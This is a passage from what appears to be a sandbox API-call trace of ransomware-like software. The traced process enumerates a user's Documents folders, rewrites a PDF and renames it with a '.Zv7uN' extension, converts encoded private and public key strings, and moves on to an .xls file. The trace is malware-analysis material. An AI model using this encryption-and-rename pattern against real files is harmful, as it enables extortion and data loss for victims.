hFile=0x128, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0xce24, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0xce24, lpOverlapped=0x0) returned 1 [0088.710] CloseHandle (hObject=0x128) returned 1 [0088.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\_sTXIMggYSPV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\_stximggyspv.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.714] WriteFile (in: hFile=0x128, lpBuffer=0x1f3c790*, nNumberOfBytesToWrite=0xce24, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3c790*, lpNumberOfBytesWritten=0x18f114*=0xce24, lpOverlapped=0x0) returned 1 [0088.718] CloseHandle (hObject=0x128) returned 1 [0088.718] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\_sTXIMggYSPV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\_stximggyspv.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\_sTXIMggYSPV.pdf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\_stximggyspv.pdf.zv7un")) returned 1 [0088.719] GetCurrentThreadId () returned 0xa30 [0088.719] GetCurrentThreadId () returned 0xa30 [0088.719] GetCurrentThreadId () returned 0xa30 [0088.719] GetCurrentThreadId () returned 0xa30 [0088.719] GetCurrentThreadId () returned 0xa30 [0088.719] GetCurrentThreadId () returned 0xa30 [0088.719] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a37570, ftCreationTime.dwHighDateTime=0x1d5e7d9, ftLastAccessTime.dwLowDateTime=0xe6acb900, ftLastAccessTime.dwHighDateTime=0x1d5e2a8, ftLastWriteTime.dwLowDateTime=0xe6acb900, ftLastWriteTime.dwHighDateTime=0x1d5e2a8, nFileSizeHigh=0x0, nFileSizeLow=0xce24, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_sTXIMggYSPV.pdf", cAlternateFileName="_STXIM~1.PDF")) returned 0 [0088.719] GetLastError () returned 0x12 [0088.719] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0088.720] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36776770, ftCreationTime.dwHighDateTime=0x1d5e5f9, ftLastAccessTime.dwLowDateTime=0x52c40bc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52c40bc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0088.720] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0088.720] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.720] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36776770, ftCreationTime.dwHighDateTime=0x1d5e5f9, ftLastAccessTime.dwLowDateTime=0x52c40bc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52c40bc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.720] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.720] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.720] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf882f870, ftCreationTime.dwHighDateTime=0x1d5d933, ftLastAccessTime.dwLowDateTime=0x4d4e5290, ftLastAccessTime.dwHighDateTime=0x1d5e4c0, ftLastWriteTime.dwLowDateTime=0x4d4e5290, ftLastWriteTime.dwHighDateTime=0x1d5e4c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Jyh1PVUP5TT-PP", cAlternateFileName="JYH1PV~1")) returned 1 [0088.720] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.720] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.720] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\*.*", lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf882f870, ftCreationTime.dwHighDateTime=0x1d5d933, ftLastAccessTime.dwLowDateTime=0x4d4e5290, ftLastAccessTime.dwHighDateTime=0x1d5e4c0, ftLastWriteTime.dwLowDateTime=0x4d4e5290, ftLastWriteTime.dwHighDateTime=0x1d5e4c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa100 [0088.720] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf882f870, ftCreationTime.dwHighDateTime=0x1d5d933, ftLastAccessTime.dwLowDateTime=0x4d4e5290, ftLastAccessTime.dwHighDateTime=0x1d5e4c0, ftLastWriteTime.dwLowDateTime=0x4d4e5290, ftLastWriteTime.dwHighDateTime=0x1d5e4c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.721] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe190e180, ftCreationTime.dwHighDateTime=0x1d5e07d, ftLastAccessTime.dwLowDateTime=0xfc0b3470, ftLastAccessTime.dwHighDateTime=0x1d5e2ad, ftLastWriteTime.dwLowDateTime=0xfc0b3470, ftLastWriteTime.dwHighDateTime=0x1d5e2ad, nFileSizeHigh=0x0, nFileSizeLow=0x91a8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="5DJG.xls", cAlternateFileName="")) returned 1 [0088.721] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eeec | out: lpLocalFileTime=0x18eeec) returned 1 [0088.721] FileTimeToDosDateTime (in: lpFileTime=0x18eeec, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.721] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\5DJG.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\5djg.xls"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe190e180, ftCreationTime.dwHighDateTime=0x1d5e07d, ftLastAccessTime.dwLowDateTime=0xfc0b3470, ftLastAccessTime.dwHighDateTime=0x1d5e2ad, ftLastWriteTime.dwLowDateTime=0xfc0b3470, ftLastWriteTime.dwHighDateTime=0x1d5e2ad, nFileSizeHigh=0x0, nFileSizeLow=0x91a8)) returned 1 [0088.721] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\5DJG.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\5djg.xls")) returned 0x20 [0088.721] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\5DJG.xls", dwFileAttributes=0x80) returned 1 [0088.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.726] GetCurrentThreadId () returned 0xa30 [0088.726] GetCurrentThreadId () returned 0xa30 [0088.726] GetCurrentThreadId () returned 0xa30 [0088.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.727] GetCurrentThreadId () returned 0xa30 [0088.727] GetCurrentThreadId () returned 0xa30 [0088.727] GetCurrentThreadId () returned 0xa30 [0088.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\5DJG.xls" (normalized: 